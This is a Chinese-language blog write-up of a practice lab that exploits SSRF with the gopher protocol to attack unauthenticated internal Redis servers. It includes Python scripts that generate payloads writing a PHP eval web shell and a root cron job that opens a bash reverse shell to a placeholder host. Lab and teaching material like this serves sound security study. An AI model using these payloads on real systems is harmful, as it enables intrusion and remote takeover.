SSRF + gopher 打内网redis

SSRF + gopher 打内网redis

0x01:环境搭建:

使用的是国光师傅的靶场

GitHub - sqlsec/ssrf-vuls: 国光的手把手带你用 SSRF 打穿内网靶场源码

0x02:漏洞发现:

存在SSRF漏洞

0x03:漏洞利用:

接下来读取hosts文件

发现当前机器内网IP

探测内网IP 端口

爆破出的情况:

172.72.23.21 - 80
172.72.23.22 - 80
172.72.23.23 - 80、3306
172.72.23.24 - 80
172.72.23.25 - 80
172.72.23.26 - 8080
172.72.23.27 - 6379
172.72.23.28 - 6379
172.72.23.29 - 3306

可以看到

27 28两个IP是redis默认端口6379

使用dict直接访问一下

存在未授权访问漏洞, 配合gopher协议, 直接上shell

gopher要搭配数据流来使用, 构造太复杂, 所以使用脚本来生成Payload

脚本内容如下:

import urllib.parse
​
protocol = "gopher://"
ip = "x.x.x.x"
port = "6379"
shell = "\n\n<?php eval($_POST[\"afk\"]);?>\n\n"
filename = "afk.php"
path = "/tmp"
passwd = ""
cmd = ["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),  
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save",
     "quit"
    ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")
    cmd += CRLF
    return cmd
​
if __name__=="__main__":
    for x in cmd:
        payload += urllib.parse.quote(redis_format(x))
​
    # print(payload)
    print(urllib.parse.quote(payload))

全部OK

进入镜像命令:

docker exec -it 镜像id bin/bash

成功写入

0x04:计划任务反弹shell:

脚本内容换成

import urllib.parse
​
protocol = "gopher://"
ip = "172.72.23.27"
port = "6379"
shell = "\n\n * * * * * /bin/bash -i >& /dev/tcp/x.x.x.x/9999 0>&1\n\n"
filename = "root"
path = "/var/spool/cron"
passwd = ""
cmd = ["flushall",
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "set x {}".format(shell.replace(" ","${IFS}")),  
     "save"
    ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")
    cmd += CRLF
    return cmd
​
if __name__=="__main__":
    for x in cmd:
        payload += urllib.parse.quote(redis_format(x))
​
    # print(payload)
    print(urllib.parse.quote(payload))

写了一个计划任务, 反弹shell

反弹shell成功

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值